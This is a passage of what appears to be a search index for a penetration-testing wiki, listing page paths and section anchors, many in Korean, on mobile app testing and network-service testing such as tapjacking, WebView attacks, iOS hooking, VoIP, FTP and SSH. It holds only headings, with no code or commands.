anges.html#logging","mobile-pentesting/android-app-pentesting/smali-changes.html#토스트-표시","mobile-pentesting/android-app-pentesting/smali-changes.html#시작-시-네이티브-라이브러리-로드-systemloadlibrary","mobile-pentesting/android-app-pentesting/smali-changes.html#참고-자료","mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.html#중요-사항","mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.html#references","mobile-pentesting/android-app-pentesting/tapjacking.html#tapjacking","mobile-pentesting/android-app-pentesting/tapjacking.html#기본-정보","mobile-pentesting/android-app-pentesting/tapjacking.html#탐지","mobile-pentesting/android-app-pentesting/tapjacking.html#보호","mobile-pentesting/android-app-pentesting/tapjacking.html#exploitation","mobile-pentesting/android-app-pentesting/tapjacking.html#tapjacking-exportedactivity","mobile-pentesting/android-app-pentesting/tapjacking.html#floatingwindowapp","mobile-pentesting/android-app-pentesting/tapjacking.html#qark","mobile-pentesting/android-app-pentesting/tapjacking.html#accessibility-overlay-phishing-banking-trojan-variant","mobile-pentesting/android-app-pentesting/tapjacking.html#작동-방식","mobile-pentesting/android-app-pentesting/tapjacking.html#typical-workflow-used-by-banking-trojans","mobile-pentesting/android-app-pentesting/tapjacking.html#detection--mitigation","mobile-pentesting/android-app-pentesting/tapjacking.html#references","mobile-pentesting/android-app-pentesting/webview-attacks.html#webview-attacks","mobile-pentesting/android-app-pentesting/webview-attacks.html#guide-on-webview-configurations-and-security","mobile-pentesting/android-app-pentesting/webview-attacks.html#overview-of-webview-vulnerabilities","mobile-pentesting/android-app-pentesting/webview-attacks.html#file-access-in-webviews","mobile-pentesting/android-app-pentesting/webview-attacks.html#loadurl","mobile-pentesting/android-app-pentesting/webview-attacks.html#javascript-및-intent-스킴-처리","mobile-pentesting/android-app-pentesting/webview-attacks.html#javascript-bridge","mobile-pentesting/android-app-pentesting/webview-attacks.html#반사-기반-원격-코드-실행-rce","mobile-pentesting/android-app-pentesting/webview-attacks.html#원격-디버깅","mobile-pentesting/android-app-pentesting/webview-attacks.html#임의-파일-유출","mobile-pentesting/android-app-pentesting/webview-attacks.html#webview-attacks-1","mobile-pentesting/android-app-pentesting/webview-attacks.html#guide-on-webview-configurations-and-security-1","mobile-pentesting/android-app-pentesting/webview-attacks.html#overview-of-webview-vulnerabilities-1","mobile-pentesting/android-app-pentesting/webview-attacks.html#file-access-in-webviews-1","mobile-pentesting/android-app-pentesting/webview-attacks.html#loadurl-1","mobile-pentesting/android-app-pentesting/webview-attacks.html#내부-webview로의-딥-링크-커스텀-스킴--webview-싱크","mobile-pentesting/android-app-pentesting/webview-attacks.html#확인-전에-javascript-활성화-검사-순서-버그","mobile-pentesting/android-app-pentesting/webview-attacks.html#javascript-및-intent-scheme-처리","mobile-pentesting/android-app-pentesting/webview-attacks.html#javascript-bridge-1","mobile-pentesting/android-app-pentesting/webview-attacks.html#반사-기반-원격-코드-실행-rce-1","mobile-pentesting/android-app-pentesting/webview-attacks.html#원격-디버깅-1","mobile-pentesting/android-app-pentesting/webview-attacks.html#임의-파일-유출-1","mobile-pentesting/android-app-pentesting/webview-attacks.html#references","mobile-pentesting/ios-pentesting-checklist.html#ios-pentesting-checklist","mobile-pentesting/ios-pentesting-checklist.html#preparation","mobile-pentesting/ios-pentesting-checklist.html#data-storage","mobile-pentesting/ios-pentesting-checklist.html#keyboards","mobile-pentesting/ios-pentesting-checklist.html#logs","mobile-pentesting/ios-pentesting-checklist.html#backups","mobile-pentesting/ios-pentesting-checklist.html#applications-memory","mobile-pentesting/ios-pentesting-checklist.html#broken-cryptography","mobile-pentesting/ios-pentesting-checklist.html#local-authentication","mobile-pentesting/ios-pentesting-checklist.html#sensitive-functionality-exposure-through-ipc","mobile-pentesting/ios-pentesting-checklist.html#network-communication","mobile-pentesting/ios-pentesting-checklist.html#misc","mobile-pentesting/ios-pentesting/index.html#ios-pentesting","mobile-pentesting/ios-pentesting/index.html#ios-basics","mobile-pentesting/ios-pentesting/index.html#testing-environment","mobile-pentesting/ios-pentesting/index.html#initial-analysis","mobile-pentesting/ios-pentesting/index.html#basic-ios-testing-operations","mobile-pentesting/ios-pentesting/index.html#basic-static-analysis","mobile-pentesting/ios-pentesting/index.html#basic-dynamic-analysis","mobile-pentesting/ios-pentesting/index.html#listing-installed-apps","mobile-pentesting/ios-pentesting/index.html#기본-열거-및-후킹","mobile-pentesting/ios-pentesting/index.html#ipa-구조","mobile-pentesting/ios-pentesting/index.html#binary-reversing","mobile-pentesting/ios-pentesting/index.html#데이터-저장","mobile-pentesting/ios-pentesting/index.html#plist","mobile-pentesting/ios-pentesting/index.html#core-data","mobile-pentesting/ios-pentesting/index.html#yapdatabase","mobile-pentesting/ios-pentesting/index.html#other-sqlite-databases","mobile-pentesting/ios-pentesting/index.html#firebase-real-time-databases","mobile-pentesting/ios-pentesting/index.html#realm-databases","mobile-pentesting/ios-pentesting/index.html#couchbase-lite-databases","mobile-pentesting/ios-pentesting/index.html#cookies","mobile-pentesting/ios-pentesting/index.html#cache","mobile-pentesting/ios-pentesting/index.html#snapshots","mobile-pentesting/ios-pentesting/index.html#keychain","mobile-pentesting/ios-pentesting/index.html#사용자-정의-키보드-및-키보드-캐시","mobile-pentesting/ios-pentesting/index.html#텍스트-필드-캐싱-방지","mobile-pentesting/ios-pentesting/index.html#로그","mobile-pentesting/ios-pentesting/index.html#시스템-로그-모니터링","mobile-pentesting/ios-pentesting/index.html#백업","mobile-pentesting/ios-pentesting/index.html#보안-위험","mobile-pentesting/ios-pentesting/index.html#백업에서-파일-제외하기","mobile-pentesting/ios-pentesting/index.html#취약점-테스트","mobile-pentesting/ios-pentesting/index.html#앱-동작-수정","mobile-pentesting/ios-pentesting/index.html#민감한-데이터에-대한-메모리-테스트-요약","mobile-pentesting/ios-pentesting/index.html#메모리-덤프-검색-및-분석","mobile-pentesting/ios-pentesting/index.html#런타임-메모리-분석","mobile-pentesting/ios-pentesting/index.html#broken-cryptography","mobile-pentesting/ios-pentesting/index.html#poor-key-management-processes","mobile-pentesting/ios-pentesting/index.html#use-of-insecure-andor-deprecated-algorithms","mobile-pentesting/ios-pentesting/index.html#check","mobile-pentesting/ios-pentesting/index.html#로컬-인증","mobile-pentesting/ios-pentesting/index.html#로컬-인증-구현","mobile-pentesting/ios-pentesting/index.html#키체인을-이용한-로컬-인증","mobile-pentesting/ios-pentesting/index.html#탐지","mobile-pentesting/ios-pentesting/index.html#로컬-인증-프레임워크-우회","mobile-pentesting/ios-pentesting/index.html#민감한-기능-노출을-통한-ipc","mobile-pentesting/ios-pentesting/index.html#사용자-정의-uri-핸들러--딥링크--사용자-정의-스킴","mobile-pentesting/ios-pentesting/index.html#유니버설-링크","mobile-pentesting/ios-pentesting/index.html#uiactivity-공유","mobile-pentesting/ios-pentesting/index.html#uipasteboard","mobile-pentesting/ios-pentesting/index.html#앱-확장","mobile-pentesting/ios-pentesting/index.html#webviews","mobile-pentesting/ios-pentesting/index.html#직렬화-및-인코딩","mobile-pentesting/ios-pentesting/index.html#네트워크-통신","mobile-pentesting/ios-pentesting/index.html#호스트-이름-확인","mobile-pentesting/ios-pentesting/index.html#인증서-고정","mobile-pentesting/ios-pentesting/index.html#기타","mobile-pentesting/ios-pentesting/index.html#핫-패칭강제-업데이트","mobile-pentesting/ios-pentesting/index.html#제3자","mobile-pentesting/ios-pentesting/index.html#흥미로운-취약점-및-사례-연구","mobile-pentesting/ios-pentesting/index.html#참고-자료-및-추가-리소스","mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.html#air-keyboard-remote-input-injection-unauthenticated-tcp--websocket-listener","mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.html#tldr","mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.html#1-서비스-검색","mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.html#2-protocol-details-ios","mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.html#21--legacy--104--custom-binary-frames","mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.html#22-현재--105--websocket을-통한-json","mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.html#3-익스플로잇-poc","mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.html#31-타겟--104-원시-tcp","mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.html#32--타겟팅--105-websocket","mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.html#4-android-companion--서비스-거부","mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.html#5-관련-앱--반복되는-안티-패턴","mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.html#6-근본-원인","mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.html#7-강화-및-방어-조치","mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.html#탐지-요약-펜테스터","mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.html#references","mobile-pentesting/ios-pentesting/ios-app-extensions.html#ios-app-extensions","mobile-pentesting/ios-pentesting/ios-app-extensions.html#security-considerations","mobile-pentesting/ios-pentesting/ios-app-extensions.html#static-analysis","mobile-pentesting/ios-pentesting/ios-app-extensions.html#dynamic-analysis","mobile-pentesting/ios-pentesting/ios-app-extensions.html#references","mobile-pentesting/ios-pentesting/ios-basics.html#권한-분리-및-샌드박스","mobile-pentesting/ios-pentesting/ios-basics.html#데이터-보호","mobile-pentesting/ios-pentesting/ios-basics.html#키체인","mobile-pentesting/ios-pentesting/ios-basics.html#키체인-api-작업","mobile-pentesting/ios-pentesting/ios-basics.html#키체인-항목-데이터-보호-구성","mobile-pentesting/ios-pentesting/ios-basics.html#탈옥-장치-경고","mobile-pentesting/ios-pentesting/ios-basics.html#키체인-데이터의-지속성","mobile-pentesting/ios-pentesting/ios-basics.html#앱-기능","mobile-pentesting/ios-pentesting/ios-basics.html#device-capabilities","mobile-pentesting/ios-pentesting/ios-basics.html#권한","mobile-pentesting/ios-pentesting/ios-basics.html#참고문헌","mobile-pentesting/ios-pentesting/basic-ios-testing-operations.html#ios-기본-테스트-작업","mobile-pentesting/ios-pentesting/basic-ios-testing-operations.html#ios-장치-식별-및-접근-요약","mobile-pentesting/ios-pentesting/basic-ios-testing-operations.html#ios-장치의-udid-식별하기","mobile-pentesting/ios-pentesting/basic-ios-testing-operations.html#디바이스-셸-접근","mobile-pentesting/ios-pentesting/basic-ios-testing-operations.html#잊어버린-비밀번호-재설정","mobile-pentesting/ios-pentesting/basic-ios-testing-operations.html#데이터-전송-기술","mobile-pentesting/ios-pentesting/basic-ios-testing-operations.html#앱-데이터-파일-전송","mobile-pentesting/ios-pentesting/basic-ios-testing-operations.html#그래픽-사용자-인터페이스-도구","mobile-pentesting/ios-pentesting/basic-ios-testing-operations.html#파일-관리를-위한-objection-사용","mobile-pentesting/ios-pentesting/basic-ios-testing-operations.html#앱-획득-및-추출","mobile-pentesting/ios-pentesting/basic-ios-testing-operations.html#ipa-파일-획득","mobile-pentesting/ios-pentesting/basic-ios-testing-operations.html#앱-바이너리-추출","mobile-pentesting/ios-pentesting/basic-ios-testing-operations.html#복호화-과정","mobile-pentesting/ios-pentesting/basic-ios-testing-operations.html#복호화-자동으로","mobile-pentesting/ios-pentesting/basic-ios-testing-operations.html#앱-설치하기","mobile-pentesting/ios-pentesting/basic-ios-testing-operations.html#references","mobile-pentesting/ios-pentesting/burp-configuration-for-ios.html#ios-burp-suite-구성","mobile-pentesting/ios-pentesting/burp-configuration-for-ios.html#ios-기기에-burp-인증서-설치하기","mobile-pentesting/ios-pentesting/burp-configuration-for-ios.html#burp-mobile-assistant를-통한-자동-설치","mobile-pentesting/ios-pentesting/burp-configuration-for-ios.html#수동-설치-단계","mobile-pentesting/ios-pentesting/burp-configuration-for-ios.html#인터셉션-프록시-구성","mobile-pentesting/ios-pentesting/burp-configuration-for-ios.html#탈옥-기기를-위한-고급-구성","mobile-pentesting/ios-pentesting/burp-configuration-for-ios.html#전체-네트워크-모니터링스니핑","mobile-pentesting/ios-pentesting/burp-configuration-for-ios.html#시뮬레이터에서-burp-cert-설치","mobile-pentesting/ios-pentesting/burp-configuration-for-ios.html#macos-프록시-구성","mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.html#ios-custom-uri-handlers--deeplinks--custom-schemes","mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.html#basic-information","mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.html#application-query-schemes-registration","mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.html#url-처리-및-검증-테스트","mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.html#다른-앱에-대한-url-요청-테스트","mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.html#사용-중단된-메서드-테스트","mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.html#url-스킴-퍼징","mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.html#커스텀-url-스킴-하이재킹","mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.html#참조","mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.html#컴파일된-애플리케이션에서-권한-추출","mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.html#권한-및-모바일-프로비전-파일-추출","mobile-pentesting/ios-pentesting/frida-configuration-in-ios.html#ios-frida-구성","mobile-pentesting/ios-pentesting/frida-configuration-in-ios.html#frida-설치","mobile-pentesting/ios-pentesting/frida-configuration-in-ios.html#탈옥되지-않은-장치에서-frida-사용-및-앱-패치-없이","mobile-pentesting/ios-pentesting/frida-configuration-in-ios.html#frida-클라이언트-설치","mobile-pentesting/ios-pentesting/frida-configuration-in-ios.html#프리다-트레이스","mobile-pentesting/ios-pentesting/frida-configuration-in-ios.html#모든-클래스-및-메서드-가져오기","mobile-pentesting/ios-pentesting/frida-configuration-in-ios.html#frida-fuzzing","mobile-pentesting/ios-pentesting/frida-configuration-in-ios.html#frida-stalker","mobile-pentesting/ios-pentesting/frida-configuration-in-ios.html#fpicker","mobile-pentesting/ios-pentesting/frida-configuration-in-ios.html#로그-및-충돌","mobile-pentesting/ios-pentesting/frida-configuration-in-ios.html#frida-android-tutorials","mobile-pentesting/ios-pentesting/frida-configuration-in-ios.html#references","mobile-pentesting/ios-pentesting/ios-hooking-with-objection.html#앱의-기본-열거","mobile-pentesting/ios-pentesting/ios-hooking-with-objection.html#로컬-앱-경로","mobile-pentesting/ios-pentesting/ios-hooking-with-objection.html#번들-프레임워크-및-라이브러리-목록","mobile-pentesting/ios-pentesting/ios-hooking-with-objection.html#앱의-클래스-목록","mobile-pentesting/ios-pentesting/ios-hooking-with-objection.html#클래스-메서드-목록","mobile-pentesting/ios-pentesting/ios-hooking-with-objection.html#기본-후킹","mobile-pentesting/ios-pentesting/ios-hooking-with-objection.html#클래스의-모든-메서드-후킹","mobile-pentesting/ios-pentesting/ios-hooking-with-objection.html#단일-메서드-후킹","mobile-pentesting/ios-pentesting/ios-hooking-with-objection.html#불리언-반환-변경","mobile-pentesting/ios-pentesting/ios-hooking-with-objection.html#후킹-템플릿-생성","mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.html#ios-pentesting-without-jailbreak","mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.html#main-idea","mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.html#obtain-decrypted-ipa","mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.html#get-it-from-apple","mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.html#decrypting-the-app","mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.html#권한-패치-및-재서명","mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.html#개발자-모드-활성화-ios-16","mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.html#현대적인-사이드로딩-옵션","mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.html#후킹--동적-계측","mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.html#탈옥-없이-mobsf를-이용한-자동화된-동적-분석","mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.html#ios-17-및-잠금-모드-주의사항","mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.html#참고문헌","mobile-pentesting/ios-pentesting/ios-protocol-handlers.html#webview-protocol-handlers","mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.html#ios-개발에서의-객체-직렬화","mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.html#nscoding--구현","mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.html#nssecurecoding로-보안-강화하기","mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.html#data-archiving-with-nskeyedarchiver","mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.html#using-codable-for-simplified-serialization","mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.html#json-및-xml-인코딩-대안","mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.html#보안-고려-사항","mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.html#참고-문헌","mobile-pentesting/ios-pentesting/ios-testing-environment.html#ios-testing-environment","mobile-pentesting/ios-pentesting/ios-testing-environment.html#apple-developer-program","mobile-pentesting/ios-pentesting/ios-testing-environment.html#simulator","mobile-pentesting/ios-pentesting/ios-testing-environment.html#simulator-1","mobile-pentesting/ios-pentesting/ios-testing-environment.html#applications-in-the-simulator","mobile-pentesting/ios-pentesting/ios-testing-environment.html#에뮬레이터","mobile-pentesting/ios-pentesting/ios-testing-environment.html#탈옥-필요-없음","mobile-pentesting/ios-pentesting/ios-testing-environment.html#탈옥","mobile-pentesting/ios-pentesting/ios-testing-environment.html#android-루팅-vs-ios-탈옥","mobile-pentesting/ios-pentesting/ios-testing-environment.html#탈옥의-도전-과제","mobile-pentesting/ios-pentesting/ios-testing-environment.html#탈옥의-종류","mobile-pentesting/ios-pentesting/ios-testing-environment.html#탈옥-도구-및-리소스","mobile-pentesting/ios-pentesting/ios-testing-environment.html#탈옥의-이점과-위험","mobile-pentesting/ios-pentesting/ios-testing-environment.html#탈옥-후","mobile-pentesting/ios-pentesting/ios-testing-environment.html#탈옥-탐지","mobile-pentesting/ios-pentesting/ios-testing-environment.html#탈옥-탐지-우회","mobile-pentesting/ios-pentesting/ios-testing-environment.html#참고-문헌","mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.html#ios-uiactivity-sharing","mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.html#uiactivity-sharing-simplified","mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.html#how-to-share-data","mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.html#데이터-수신-방법","mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.html#동적-테스트-접근법","mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.html#참고-문헌","mobile-pentesting/ios-pentesting/ios-universal-links.html#ios-universal-links","mobile-pentesting/ios-pentesting/ios-universal-links.html#introduction","mobile-pentesting/ios-pentesting/ios-universal-links.html#associated-domains-entitlement-분석하기","mobile-pentesting/ios-pentesting/ios-universal-links.html#apple-app-site-association-파일-가져오기","mobile-pentesting/ios-pentesting/ios-universal-links.html#앱에서의-유니버설-링크-처리","mobile-pentesting/ios-pentesting/ios-universal-links.html#일반적인-취약점-및-펜테스팅-점검","mobile-pentesting/ios-pentesting/ios-universal-links.html#빠른-체크리스트","mobile-pentesting/ios-pentesting/ios-universal-links.html#도구","mobile-pentesting/ios-pentesting/ios-universal-links.html#참고자료","mobile-pentesting/ios-pentesting/ios-uipasteboard.html#정적-분석","mobile-pentesting/ios-pentesting/ios-uipasteboard.html#동적-분석","mobile-pentesting/ios-pentesting/ios-uipasteboard.html#참고문헌","mobile-pentesting/ios-pentesting/ios-webviews.html#ios-webviews","mobile-pentesting/ios-pentesting/ios-webviews.html#webviews-유형","mobile-pentesting/ios-pentesting/ios-webviews.html#webviews-구성-탐색-요약","mobile-pentesting/ios-pentesting/ios-webviews.html#정적-분석-개요","mobile-pentesting/ios-pentesting/ios-webviews.html#동적-분석-통찰력","mobile-pentesting/ios-pentesting/ios-webviews.html#webview-프로토콜-처리","mobile-pentesting/ios-pentesting/ios-webviews.html#native-methods-exposed-through-webviews","mobile-pentesting/ios-pentesting/ios-webviews.html#understanding-webview-native-interfaces-in-ios","mobile-pentesting/ios-pentesting/ios-webviews.html#accessing-jscontext-in-objective-c","mobile-pentesting/ios-pentesting/ios-webviews.html#wkwebview와의-통신","mobile-pentesting/ios-pentesting/ios-webviews.html#상호작용-및-테스트","mobile-pentesting/ios-pentesting/ios-webviews.html#ios-webviews-디버깅","mobile-pentesting/ios-pentesting/ios-webviews.html#참고-문헌","mobile-pentesting/cordova-apps.html#cordova-apps","mobile-pentesting/cordova-apps.html#cordova-애플리케이션-복제","mobile-pentesting/cordova-apps.html#자동화-도구","mobile-pentesting/cordova-apps.html#보안-위험-및-최근-취약점-2023-2025","mobile-pentesting/cordova-apps.html#펜테스트-중-빠른-점검","mobile-pentesting/cordova-apps.html#동적-분석-팁","mobile-pentesting/cordova-apps.html#원격-webview-디버깅","mobile-pentesting/cordova-apps.html#frida를-사용하여-js--native-브리지를-훅킹하기","mobile-pentesting/cordova-apps.html#보안-강화-권장-사항-2025","mobile-pentesting/cordova-apps.html#참고-문헌","mobile-pentesting/xamarin-apps.html#xamarin-apps","mobile-pentesting/xamarin-apps.html#기본-정보","mobile-pentesting/xamarin-apps.html#xamarin의-아키텍처","mobile-pentesting/xamarin-apps.html#net-런타임-및-mono-프레임워크","mobile-pentesting/xamarin-apps.html#xamarin-앱의-리버스-엔지니어링","mobile-pentesting/xamarin-apps.html#apkipa에서-dll-파일-추출","mobile-pentesting/xamarin-apps.html#정적-분석","mobile-pentesting/xamarin-apps.html#동적-분석","mobile-pentesting/xamarin-apps.html#재서명","mobile-pentesting/xamarin-apps.html#추가-정보","network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.html#pentesting-jdwp---java-debug-wire-protocol","network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.html#exploiting","network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.html#더-많은-세부정보","network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.html#참고자료","network-services-pentesting/pentesting-sap.html#sap에-대한-소개","network-services-pentesting/pentesting-sap.html#발견","network-services-pentesting/pentesting-sap.html#두꺼운-클라이언트--sap-gui-테스트","network-services-pentesting/pentesting-sap.html#웹-인터페이스-테스트","network-services-pentesting/pentesting-sap.html#구성-매개변수","network-services-pentesting/pentesting-sap.html#수동-매개변수-확인","network-services-pentesting/pentesting-sap.html#매개변수-확인을-위한-스크립트","network-services-pentesting/pentesting-sap.html#공격","network-services-pentesting/pentesting-sap.html#테스트를-위한-기타-유용한-도구","network-services-pentesting/pentesting-sap.html#참고문헌","network-services-pentesting/pentesting-voip/index.html#pentesting-voip","network-services-pentesting/pentesting-voip/index.html#voip-기본-정보","network-services-pentesting/pentesting-voip/index.html#기본-메시지","network-services-pentesting/pentesting-voip/index.html#응답-코드","network-services-pentesting/pentesting-voip/index.html#voip-enumeration","network-services-pentesting/pentesting-voip/index.html#telephone-numbers","network-services-pentesting/pentesting-voip/index.html#google-dorks","network-services-pentesting/pentesting-voip/index.html#osint-정보","network-services-pentesting/pentesting-voip/index.html#네트워크-열거","network-services-pentesting/pentesting-voip/index.html#방법-열거","network-services-pentesting/pentesting-voip/index.html#서버-응답-분석","network-services-pentesting/pentesting-voip/index.html#extension-enumeration","network-services-pentesting/pentesting-voip/index.html#voip-공격","network-services-pentesting/pentesting-voip/index.html#비밀번호-무차별-대입---온라인","network-services-pentesting/pentesting-voip/index.html#voip-sniffing","network-services-pentesting/pentesting-voip/index.html#무료-통화--asterisk-연결-잘못-구성","network-services-pentesting/pentesting-voip/index.html#무료-통화--asterisk-컨텍스트-잘못-구성","network-services-pentesting/pentesting-voip/index.html#무료-통화--잘못-구성된-ivrs","network-services-pentesting/pentesting-voip/index.html#extension-injection","network-services-pentesting/pentesting-voip/index.html#sipdigestleak-취약점","network-services-pentesting/pentesting-voip/index.html#click2call","network-services-pentesting/pentesting-voip/index.html#도청","network-services-pentesting/pentesting-voip/index.html#rtcpbleed-취약점","network-services-pentesting/pentesting-voip/index.html#rce","network-services-pentesting/pentesting-voip/index.html#rtp-injection","network-services-pentesting/pentesting-voip/index.html#dos","network-services-pentesting/pentesting-voip/index.html#os-vulnerabilities","network-services-pentesting/pentesting-voip/index.html#references","network-services-pentesting/pentesting-voip/basic-voip-protocols/index.html#기본-voip-프로토콜","network-services-pentesting/pentesting-voip/basic-voip-protocols/index.html#신호-프로토콜","network-services-pentesting/pentesting-voip/basic-voip-protocols/index.html#sip-세션-시작-프로토콜","network-services-pentesting/pentesting-voip/basic-voip-protocols/index.html#mgcp-미디어-게이트웨이-제어-프로토콜","network-services-pentesting/pentesting-voip/basic-voip-protocols/index.html#sccp-스키니-클라이언트-제어-프로토콜","network-services-pentesting/pentesting-voip/basic-voip-protocols/index.html#h323","network-services-pentesting/pentesting-voip/basic-voip-protocols/index.html#iax-인터-아스틱스-교환","network-services-pentesting/pentesting-voip/basic-voip-protocols/index.html#전송-및-전송-프로토콜","network-services-pentesting/pentesting-voip/basic-voip-protocols/index.html#sdp-세션-설명-프로토콜","network-services-pentesting/pentesting-voip/basic-voip-protocols/index.html#rtp--rtcp--srtp--zrtp","network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.html#sip-session-initiation-protocol","network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.html#기본-정보","network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.html#sip-메서드","network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.html#sip-응답-코드","network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.html#예시","network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.html#sip-invite-예시","network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.html#sip-register-예제","network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.html#통화-예시","network-services-pentesting/pentesting-remote-gdbserver.html#pentesting-remote-gdbserver","network-services-pentesting/pentesting-remote-gdbserver.html#기본-정보","network-services-pentesting/pentesting-remote-gdbserver.html#exploitation","network-services-pentesting/pentesting-remote-gdbserver.html#업로드-및-실행","network-services-pentesting/pentesting-remote-gdbserver.html#임의의-명령-실행","network-services-pentesting/7-tcp-udp-pentesting-echo.html#기본-정보","network-services-pentesting/7-tcp-udp-pentesting-echo.html#에코-서비스에-연락하기-udp","network-services-pentesting/7-tcp-udp-pentesting-echo.html#shodan","network-services-pentesting/7-tcp-udp-pentesting-echo.html#references","network-services-pentesting/pentesting-ftp/index.html#21---pentesting-ftp","network-services-pentesting/pentesting-ftp/index.html#기본-정보","network-services-pentesting/pentesting-ftp/index.html#connections-active--passive","network-services-pentesting/pentesting-ftp/index.html#connection-debugging","network-services-pentesting/pentesting-ftp/index.html#enumeration","network-services-pentesting/pentesting-ftp/index.html#banner-grabbing","network-services-pentesting/pentesting-ftp/index.html#starttls를-사용하여-ftp에-연결하기","network-services-pentesting/pentesting-ftp/index.html#unauth-enum","network-services-pentesting/pentesting-ftp/index.html#익명-로그인","network-services-pentesting/pentesting-ftp/index.html#brute-force","network-services-pentesting/pentesting-ftp/index.html#automated","network-services-pentesting/pentesting-ftp/index.html#브라우저-연결","network-services-pentesting/pentesting-ftp/index.html#ftp에서-모든-파일-다운로드","network-services-pentesting/pentesting-ftp/index.html#some-ftp-commands","network-services-pentesting/pentesting-ftp/index.html#ftpbounce-attack","network-services-pentesting/pentesting-ftp/index.html#filezilla-server-vulnerability","network-services-pentesting/pentesting-ftp/index.html#config-files","network-services-pentesting/pentesting-ftp/index.html#post-exploitation","network-services-pentesting/pentesting-ftp/index.html#shodan","network-services-pentesting/pentesting-ftp/index.html#hacktricks-automatic-commands","network-services-pentesting/pentesting-ftp/ftp-bounce-attack.html#ftp-bounce-attack---scan","network-services-pentesting/pentesting-ftp/ftp-bounce-attack.html#ftp-bounce---scanning","network-services-pentesting/pentesting-ftp/ftp-bounce-attack.html#manual","network-services-pentesting/pentesting-ftp/ftp-bounce-attack.html#nmap","network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.html#이력서","network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.html#요구-사항","network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.html#단계","network-services-pentesting/pentesting-ssh.html#22---pentesting-sshsftp","network-services-pentesting/pentesting-ssh.html#기본-정보","network-services-pentesting/pentesting-ssh.html#열거","network-services-pentesting/pentesting-ssh.html#banner-grabbing","network-services-pentesting/pentesting-ssh.html#자동화된-ssh-audit","network-services-pentesting/pentesting-ssh.html#서버의-공개-ssh-키","network-services-pentesting/pentesting-ssh.html#약한-암호-알고리즘","network-services-pentesting/pentesting-ssh.html#nmap-스크립트","network-services-pentesting/pentesting-ssh.html#shodan","network-services-pentesting/pentesting-ssh.html#brute-force-usernames-passwords-and-private-keys","network-services-pentesting/pentesting-ssh.html#username-enumeration","network-services-pentesting/pentesting-ssh.html#brute-force","network-services-pentesting/pentesting-ssh.html#private-key-brute-force","network-services-pentesting/pentesting-ssh.html#kerberos--gssapi-sso","network-services-pentesting/pentesting-ssh.html#기본-자격증명","network-services-pentesting/pentesting-ssh.html#ssh-mitm","network-services-pentesting/pentesting-ssh.html#ssh-snake","network-services-pentesting/pentesting-ssh.html#구성-오